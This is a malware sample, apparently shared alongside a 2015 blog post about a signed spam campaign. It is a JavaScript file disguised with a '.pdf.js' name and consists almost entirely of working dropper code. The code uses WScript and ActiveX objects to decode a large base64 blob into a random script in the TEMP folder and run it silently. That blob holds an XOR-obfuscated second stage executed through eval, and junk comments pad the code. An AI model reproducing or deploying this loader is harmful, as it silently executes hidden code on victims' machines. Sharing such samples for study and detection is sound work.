recalculation_77979.pdf.js

Attached JS file. Related blog post: http://bartblaze.blogspot.com/2015/11/a-quick-look-at-signed-spam-campaign.html


function imUdEbeKDequx(TREFONbYDJWO) {
//// VINhatHNb0fN6z
    return new ActiveXObject(TREFONbYDJWO)
};
//// fcNlNxAUOs2MxO6zGV
//// eUghksz30Ecw6sJqYm

function TsHSSFeUoz(UvtdYGvYO, xqWbmPPhz) {
    var EZYYP = new imUdEbeKDequx("ADODB.Stream");
//// pJLW7MAJeT
    WScript.CreateObject("Scripting.FileSystemObject");
//// 69SU7oHQp5PkX
//// 6CO3J
    var imUdEbeKDequx0 = imUdEbeKDequx("Msxml2.DOMDocument.6.0");
    var NoPeoSwZPtbg = imUdEbeKDequx0.createElement("tmp");
//// 4kHuWp
    WScript.CreateObject("Scripting.FileSystemObject");
    NoPeoSwZPtbg.dataType = "bin.base64";
//// e7zZFVgz47u
    NoPeoSwZPtbg.text = UvtdYGvYO;
    EZYYP.Type = 1;
//// kOzhD
    EZYYP.Open();
    EZYYP.Write(NoPeoSwZPtbg.nodeTypedValue);
    EZYYP.SaveToFile(xqWbmPPhz, 2);
    EZYYP.Close()
//// biN496
};
var ophIgZfX = imUdEbeKDequx("WScript.Shell");
//// 5xhWXN
//// WpwfDkivqfHmgL
PklNvNyuhEyLFu = ophIgZfX.ExpandEnvironmentStrings("%TEMP%") + "\\" + Math.round(1e8 * Math.random()) + ".js";

TsHSSFeUoz("dmFyIGpqeGpZY1JvaCA9ICdmUHEwRzczN3BaY25lcXEnO3ZhciBJQ0pDSnJlVWRBb0VEdE4gPSAnXHgwZFx4MDQ0eSFTXl5ceDE1XHgxNlx4MDZWRUxRRDFceDA0XHgwMH5ceDA2XHgwMlx4MTVLV2ljb1x4MTdceDA0XHgwODNceDA1WShZXHgxM1x4NWMkXHgxZipceDA4XHgwMVx4MWNceDE4XHgwM1x4MWNceDE0XHgwNW9ceDVjZ3I5PFx4MDdceDAzXHgwY1x4MTQ9XHgwM2ZYXHgxMDw6OVx4MTdQekNceDFjXHgwMFx4MDVceDA0XHgxND5RXiJAXHgxM3ZceDEzLlx4MGFceDE4XHgwMCk+XHgwNDpceDE0UzNceDFmWGM1XHgxM1x4MDVceDBhXHgwOFx4MThceDE0KjVHXHgxOUo9Tlx4MGN9UExBSl5RXHgxNGY7fD5ceDA2Wl0mXHgwYShjb15eSVx4N2ZRXHgwOSJYfF19UG5kSl5eSXBceDEzXHgwOHZUXHgwN1x4MDNceDBhXHgxOVx4MGRceDAyIlx4MTk6I1x4MTc3VSJGPj1fdUxBRVx4MDM8XHgwMVx4MDhceDA1SHZdZVNDPDFceDVjaHtceDE3XHgxMz5ceDEyRC5YXVx4MTdceDFiXHgwZSZceDI3XHgwM1x4MTVceDFjXHgwZjU9VW9dW1pceDAwXHgwMzo0XHgxM1x4MWFceDA0Llx4MDdceDFhZ25ceDE3SDp6ekNORVx4MDdceDEwXHgxNHBceDFhZFx4MDJ+VVNceDFkM1x4MDYiXHgwMEVRW3BWXHgwOVx4MWJPXHgwMlYsIlNYXHgwMy1ceDA5VGdGR3JjXHgxYlx4MWRTXHgxZlx4MWRNRlJGOihAXHgwOVx4MWJPXHgwMlMsIlRceDA4REYtXHgxZWFJXHgxM29ceDFiW1NTeUBceDVjOVx4MDlAXHgwMlx4MGNceDA5XHgwMHNJXHgwOFx4MWVceDAxZUlXSVEtXHgxZWBceDE3XHgxM1x4N2ZceDAxXHgwMmtceDA4alx4MDEyXHgxZEFceDE1XHgxYnJFbD9ceDA2XHgwYlx4MThFfCkyXHgxZEBIXlx4MDktSHZceDAzb09AOD9ceDE2VEVdRlx4MGNceDA5XHgwNSRrS1x4MDdGXHgxMiEyXHgxZEFFOihAVlx4MWJPXHgwM1x4MDEsIlNeOVx4MDlAXHgwMjctSHdceDA3b09Abz9ceDE2VUQtXHgxZWBceDEyXHgwZG5rS1x4MDZceDE2XHgwNlx4MWJfVS1ceDA5VjIobD9ceDA3UWtceDA4a1x4MDcyXHgxZEFceDE0OihAXHgwNyR1XHgxMFx4MTRTdD9ceDE2VVx4MTUtXHgxZWBDUHRceDE4Slx4MGZPXHgwNlx4MWJceDVjUkcxOihBUnxceDBkWkdTeUBAOVx4MDlAXHgwMlx4MGNceDA5XHgwMH5AXHgxN1x4MTlceDE1XHg3ZlZLWVAtXHgxZWFceDE1anNceDFjXHgwNGI/eUBNVi1ceDA5VjItSHZceDA2QFx4MGJVOUNfOVx4MDlDUXxSbD9ceDA3XHgwYW1IbF47KlJSRVx4MGNceDA5XHgwMXRceDFiXHgxM3YsIlJdLCwtXHgxZWFHRyZceDEwXHgxZERceDAwNlx4MGFceDFhTVNSRXNTXHgxOXw6OVx4MThfdUxOMENceDE2IShceDEwPU1ceDE4XHgxY1x4MThfelx4MTVbXHgxZlx4MTghK2U3Viw6OVx4MTdQekNceDA3XHgwM1FZXHgwYzhceDFjQFx4MWVuaUFceDFiLys5XHgwZSZRW21RXHgxMmVceDFlXHgxM0x9UENORVFRRnBRQVx4MGN7enFceDEyI1x4MDggXHgwMjZRW3BTXHgxZWVceDE3XHgxOFx4MTdSPkFOTlFTXHgwYXJRXHgxYmdceDE1X1x4MTVLV2lORVFRXHgxYnBceDE0XHg1YzRSXHgxM0x9UExBSl5RXHgxMCVceDE5XHgwNCxceDAyUH4kP25kSl5eSXA6d1x4MWRjXHgwMnEqXHgxODdceDA3XHgwZkBceDEza1pRXHgxMGdceDE3XHgxM1x4MTdQelx4MTIlKTg3XHgwNClceDFhfiBwXHgxM1x4MGFQeE1MRVpRRCBTXHgxMGxceDE3XHgxMVNSekhOR1x4MTdTXV17XHgxMGdceDE3XHgxM0pLV2lORVFRXHgwMD9ceDAzXHgxMG9BUkVQMTFceDI3XHgyNz5ceDI3XHgxY1x4MWIhZWdceDBhXHgxM1x4MDdLelx4MDg8LDM+MCo6YFx4MTJceDE3XHgwZlx4MTdceDFiXHgwZSZceDI3XHgwM1x4MTVceDFjXHgwZjU9VXNceDE5X1JceDFlPVx4MTdceDA2XlFceDFhNFx4MTkzXHg3Zlx4MTFNeGclcUhHRVx4MGF8bHBRXHgxMGdceDE3XHgxM1x4MTdQLFx4MDJceDFjRVx4MDdceDE0Lj4oe1x4MGVgWUVceDExXHgwOVx4MTNOWFFceDFhMlx4MTU4ViNaWlI8P1ZGRyYiXHgwNSJceDE4QDNceDE5YF9ceDE1Nlx4MGZMTEp8bFx4N2ZeXHgxZmhceDE3XUJceDE3IFx4MGQoVjtBKzc3elx4MTRceDAxPj1fdUxBRVx4MDcwXHgwY1x4MWEhPU1ceDE3XHgxM1x4MTdQekNORVx4MDJceDA5XHgxZlx4MDBceDA5Xj15ZVx4MTdNelx4MTVceDBiLVx4MWYoLVx4MTkmWjVWYEdeXHgxZlx4MWJceDFlXHgwNFx4MWZceDE1Iz5ceDA3WTVYXVpceDE1NFx4MTc9XHgxMVx4MDNceDE4XHgwODdceDAyXHgxOGVceDEyZ3I9XHgwYUZMTFFaRnItbGVceDE3XHgxOFx4MTc9O1x4MTdceDA2S1x4MDNceDFlXHgxMz5ceDE1XHgxOHZSXHgwYlx4MTdaei5ceDBmXHgxMVx4MTlfXHgxNDFceDFmVChaXHgxYlx4MWVZekhOXHgxNDo9L1x4MTZceDEzSSx5VHBLV2lORVFRRnBRXHgxMCVOQ3tceDFkMVx4MTJOWFFceDE3XHgwNzxceDAyVXw6OVx4MTdQekNORVFRXHgwZFx4MDQ0eSFTXl5ceDE1XHgxNlx4MDZeRUxRXHgwZFx4MDQ0eSFTXl5ceDE1XHgxNlx4MDZbTVM8NVx4MDg8fHVceDE5a3o8XHgxMjc6NVNYXV17XHgxMGdceDE3XHgxM1x4MTdQekNceDA1MTQ4XHgwMDRceDFjWSJ7Vlx4MDdeNVx4MGRceDFjXHgwMFx4MTBceDE1XHgxZiNceDA1UTNSUF9ceDExNFx4MDRceDBiRUxRXHgwMCVceDFmUzNeXHg1Y1lYc0NceDE1aHtRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNceDA3XHgwM1FZUnBMXHgwZGdceDVjZ3I5PFx4MDdceDAzXHgwY1x4MTQ9XHgwM2BfQiJWV04jLlx4MDJceDFhXHgwMFFXQHBDXHgwMHdceDE3XHgwZVx4MGFQMTcrLFx4MTdceDE1XHgwYjlceDE0fCJceDA3XHgxZERceDA0O1x4MTdceDFiXHgxNlhRXHgxZF17XHgxMGdceDE3XHgxM1x4MTdQekNORVFRRnBRXHgxMDFWQVx4MTdceDFiXHgwZSZceDI3XHgwM1x4MTVceDFjXHgwZjU9VXZceDE3XHgwZVx4MTdceDFiXHgwZSZceDI3XHgwM1x4MTVceDFjXHgwZjU9VXJceDFmXHgxMXY0XHgxNVx4MjcsSyJceDA1XHgxNDVceDEwXWVceDFlXHgwODp6ekNORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQelx4MGFceDA4RVlceDFhMlx4MTU4ViNaWlI8P1JAXHgwYVx4MDFceDE0XHgwOHhYXHgxY2dceDVjZ3I5PFx4MDdceDAzXHgwY1x4MTQ9XHgwM2FfRD5HVlx4MTdNelJCRVx4MWElI1x4MTlceDE3VCpeVntceDE1a01ceDE5XHgxN1x4MThceDA1XHgwM3hceDFhZFx4MDJ+VVNceDFkM1x4MDYiXHgwMEFfNDVceDAyQChZQFIyNVx4MDdceDE3TF1RUzVCXHgxMHtceDE3WGM1XHgxM1x4MDVceDBhXHgwOFx4MThceDE0KjVAXHgxZTReSVJZelx4MThjb1FRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNORVFRRnBRUj5HXHg3ZlpceDFiK0NTRVx4MDVceDAzXHgxMzVKPU1ceDE3XHgxM1x4MTdQekNORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQelx4MDg6IDhceDE3XHgwMj1ceDE4VVx4MGJSXHgwMlx4MTlceDAwNVx4MTBceDA3XHgxMVx4MThceDFlXHgwOHBMXHgxMHdceDBjPj1QekNORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNORVx4MWElI1x4MTlceDE3VCpeVntceDE1a01ceDFkXHgwNFx4MDdceDE0Mj83WStSXHgxYkRceDA4IzNceDE2XHgwYlx4MGI/MHxRXHgwMm5ceDBjPj1QekNORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNORVx4MDVceDAzXHgxZnBceDBhPU0+Oj55U0NORVFceDE4XHgwMHBZWi9aQ24pXHgwMFx4MTVceDA1XHgxMDkmXHgwZFx4MDdRXHgwZHpceDE3XHgxMVx4MTVZelx4MThjb3h4b1l4OU5BVlx4N2ZceDFlXHgwMyhceDI3Mlx4MWJceDAzXHgwN1x4MDNceDAxXHgxZVx4MDJPVlRYeFx4MTFceDFiXHgwYlx4MTVceDFkXHgwYWNDXHgxMGVceDE3XHgxOFx4MTdceDAzIlx4MWE+XHgxZFx4MWZceDBiKFx4MDZRXHgxYmdceDE1XHgxZlx4MTdSekhORzVceDFkXHgwYVx4MDJceDE0Vy5ER1JceDAyXHgwOVx4MDZceDFjXHgxM1x4MTRceDAzRHlKPU0+Oj55U0NORVFceDBjRjVceDFkQyJceDE3SDp6U2pnbHhRRnBRXHgxMGdceDE3XHgxM0FceDE1XHgxMlx4MGQ3LjgmXHgwYyJceDEwYzdceDE5YUJceDFlclx4MTBceDE2XHgxYyFceDA5XHgwOCo/ZmtceDE3XHgwMlx4MWJQakpVaHt4b1l4OWdceDE3XHgxM1x4MTdceDBkYW5kRVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNORVFRRnBceDBjXHgxMCRWR1RceDE4ektceDA1MTQ4XHgwMDRceDFjWSJ7Vlx4MDVZelx4MThjb15eSVx4N2ZRRVx4MGJAQ1x4MDBceDE2bVx4MDJaXHgwYygpUjZceDA4YyxhfDp6dUxBSlEwLjRBXHgwMSh8YFhceDFkV2lORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNORVFRRnBRXHgxMGc6OVx4MTdQekNORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQekNOXHgxOEp8bFx4N2ZeXHgxZmhceDE3a3I6XHgwOSpceDE4L0RBJVx4MWRceDFkUzVvYlx4MGZceDI3V2lBSl5eRjxIc1x4MDZceDA1XHgwNlg5XHgxZlx4MDkjXHgwOVx4MDE1L2V8OmdceDE3XHgxM1x4MTdQekNORVFRRnBRXHgxMGdKPj1QekNORVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQMTcrLFx4MTdceDE1XHgwYjlceDE0fCJceDA2XHgxZFRceDFjNVx4MTBceDBiTVh8bHBRXHgxMGdceDE3XHgxM1x4MTdQekNORVx4MGN8bFx4N2ZeXHgxZmhceDE3RXU6LVJceDBiXHgwYlx4MWJceDFmVVx4MDdceDE1XHgwN1x4MDl6ejp6dUxBSlE3LVx4MWQ6QH5kWTp6ekNORVFRRnBceDBjXHgwYko9XHgxM1x4MTdQekNORVFceDA1XHgxNClRS0o9XHgxY1x4MThfdUNZXHgwNzwgN2dceDAzZko9XHgxY1x4MThfdUNeITkwITo6SDBvUFx4MDdceDFjIyAmXHgxM3x7SVx4N2ZeXHgxZmd8WmJBaVZbXHg1Y3x7SVx4N2ZeXHgxZmd+UmVFa1QkLlx4MWRceDAwNzpceDA5XHgwMlx4MDhEZEY6KW5kRVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQLFx4MDJceDFjRVx4MWJceDFiXHgxZTooU1x4MTVYW1x4MTdNekRceDE0PTRDXHgxNDdHXHg1Yz1ceDVjVlk4Llx4MTRceDBhQkp8bHBRXHgxMGdceDE3XHgxM1x4MTdQekNORVx4MDdceDEwXHgxNHA4c1x4MGR0eUVceDE1XHgwZlx4MDcvXHgwYTQ1XHgxMlx4MWVRXHgwZGdceDVjZ3I5PFx4MDdceDAzXHgwY1x4MTQ9XHgwM2QqW1x4MTV+cXgmICg+MCxKa1pRXHgxMGdceDE3XHgxM1x4MTdQekNORVFceDE3XHgwOSJRXHgxODFWQVx4MTdceDEyIzJceDI3LVx4MDJceDAwXHgxNnBMXHgxMGVceDE1XHgxZlx4MTc9XHgxOVx4MTQiXHgwZEdRW3BBXHgxY2d6cEA8MlROWFFBXXA8czB7W1x4MDFQZkNceDI3JjsyLCJceDE0ZSN2XHg1Y3I0Li1AXHgwOVx4MTRceDFmXHgwMSRceDE5XHgwYmd6cEA8MlVFTlhRXHgwNCkgeVx4MGZEQkdQcV5ONlx4MDVceDAzXHgwZj5ceDE2XHgxZSFFXHg1Y1ozMlx4MDJceDFjJlx4MWVceDE1XHgwM3g4c1x4MGR0eUVceDE1XHgwZlx4MDcvXHgwYTQ1XHgxMlx4MWVfUy9WQXRceDFmPlx4MDYvXHgxMVk8JVx4Mjc9WHFceDFlXHgxM2lQMFx4MDlceDE2XHgwZihceDEyND9ceDE5XHgxZSRfUkUzNVx4MDdceDBiJFx4MDVZK1x4MTNceDA2fC9ceDAwXHgxYVx4MWVceDVjei4tXHgxMj1ceDE5UXtaXHgxY2d6cEA8MlROWExRXHgwYzpceDA5Wlx4MWVUYVhceDE4dFx4MGZceDBiXHgwYlx4MTZceDA1XHgwZXBXXHgxNmdceDFmfnRceDA3XHgxNlx4MGJZRUxRVnlKPU1ceDE3XHgxM1x4MTdQekNORVFRRnBceDFhZFx4MDJ+VVNceDFkM1x4MDYiXHgwMEZRW3BTWDNDQ1x4MGRfdUFOTlFceDEzXHgxZlx4MDE4eDRGQ1x4MTdbekFBXHgxN1x4MTRceDE1XHgwZiJTXHgxMGxceDE3XHgxMVx4MTlSekhOR1x4MDFTRntRXHgxMi9ceDE1XHgxM1x4MWNQeFx4MTNMXnx7RnBRXHgxMGdceDE3XHgxM1x4MTdQekNOXHgwZSU0LzZceDE1XS5SXHg3ZlJAdFx4MGNceDFlXHgwMFx4MWZZRFx4MDA+Y1x4MTNceDE1XHgxZlx4MTdceDFiXHgwZSZceDI3XHgwM1x4MTVceDFjXHgwZjU9VXBceDFiXHgxM1FceDExNlx4MTBceDBiTEp8bHBRXHgxMGdceDE3XHgxM1x4MTdQekNORVx4MWElI1x4MTlceDE3VCpeVntceDE1ak1ceDFkXHgwMFx4MDUjXHgwMyFceDA0VTRDe1JceDExPlx4MDZceDFjTVMyXHgwOT5ceDA1VSlDXHgxZWNceDA5Klx4MDZMSVFTXHgwNyBceDAxXHg1Yy5UUkNceDE5NVx4MGRBXHgxZFx4NWNceDA2XHgxMVx4MjdceDVjVihFXlx4MWFceDA1KFx4MGZceDBiXHgwYlx4MTJceDFlXHgwMjVceDE1XHgxMm5ceDBjPj1QekNORVFRRnBRXHgxMGdceDVjZ3I5PFx4MDdceDAzXHgwY1x4MTQ9XHgwM2BfQyJZV1x4MWZSXHgxMFx4MTFceDBiXHgwYT5ceDFlKVx4MDU7RjFxUk5NeENFRTxceDEwXHgxMjhfQiZZV1hceDFkckpOTlFTQDpceDFmVC1ceDBhXHgxMVx4MTdbelx4MDg6IDhceDE3XHgwMj1ceDE4VVx4MGJSXHgwYlx4MTdbelx4MDlceDA2XHgwOFx4MDEoP1x4MGFceDA3WzJceDdmZFx4NWNceDI3c1hjb1FRRnBRXHgxMGdceDE3Tlx4MTdceDEzO1x4MTdceDBkXHgwZFFZXHgwZFx4MDQ0eSFTXl5ceDE1XHgxNlx4MDZdTFFceDBha1p8OmdceDE3XHgxM1x4MTdQekNOXHgxOEp8bF17XHgxMGdceDE3XHgxM1x4MTdQekNceDA3XHgwM1FZXHgwNClceDAxfCpceDVjQlx4MWVQIW5kRVFRRnBRXHgxMGdceDE3XHgxM1x4MTdQOFx4MTFceDBiXHgwNFx4MWFKa1pRXHgxMGdceDE3XHgxM1x4MTdQelx4MWVVaHteSVx4N2ZeXHgxMC9GQ1x4MDNceDFiXHgwMDI7XHgxZFx4MDY0a1peXHgxZmhceDE4XHgxM3wpKCxceDA2NHx7RnBRXHgxMDpceDBjPj1ceDBkYW5kSl5eSXA0YTVceDAwWERceDA1M1x4MTZceDE5P1x4MTVceDA0XHgxMmREUUo9XHgxY1x4MThfdUNceDA0JiJceDA1KWNceDAzPU06OVx4NWMkXHgxZipceDA4XHgwMVx4MWNceDE4XHgwM1x4MWNceDE0XHgxOGVceDE1XHgxYVx4MGN9UFx4MDg6IDhceDE3XHgwMj1ceDE4VVx4MGJSXHgxYlx4MTVWNFx4MDBceDAzWFx4MDI7XHgxY1x4MTgoVyNceDdmXXMqXHgwZVx4MTQ7R1hKa1peXHgxZmhceDE4XHgxM3Y1MzAmXHgwMStceDAwU117XHgxZmhceDE4XHgxY1x4MTdceDFlXHgxMlx4MTA4MD9DXHgwMCpceDE4Jztmb3IgKHZhciBieVFJSHNxcCA9ICIiLCBNQ3dMaDYgPSAwLCBNQ3dMaDcgPSAwOyBNQ3dMaDYgPCBJQ0pDSnJlVWRBb0VEdE4ubGVuZ3RoOyBNQ3dMaDYrKykgYnlRSUhzcXAgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShJQ0pDSnJlVWRBb0VEdE4uY2hhckNvZGVBdChNQ3dMaDYpIF4gamp4alljUm9oLmNoYXJDb2RlQXQoTUN3TGg3KSksIE1Dd0xoNysrLCBNQ3dMaDcgPT0gamp4alljUm9oLmxlbmd0aCAmJiAoTUN3TGg3ID0gMCk7ZnVuY3Rpb24gc01LQlhrVkEoKSB7IHJldHVybiAnZSc7IH07IGZ1bmN0aW9uIGdhQVd6RW0oKSB7IHJldHVybiAndmFsJzsgfTsgdGhpc1tzTUtCWGtWQSgpICsgZ2FBV3pFbSgpXShieVFJSHNxcCk7",PklNvNyuhEyLFu);
ophIgZfX.Run(PklNvNyuhEyLFu, 0, 0);
//// PnTzD6uQFC1XKS6C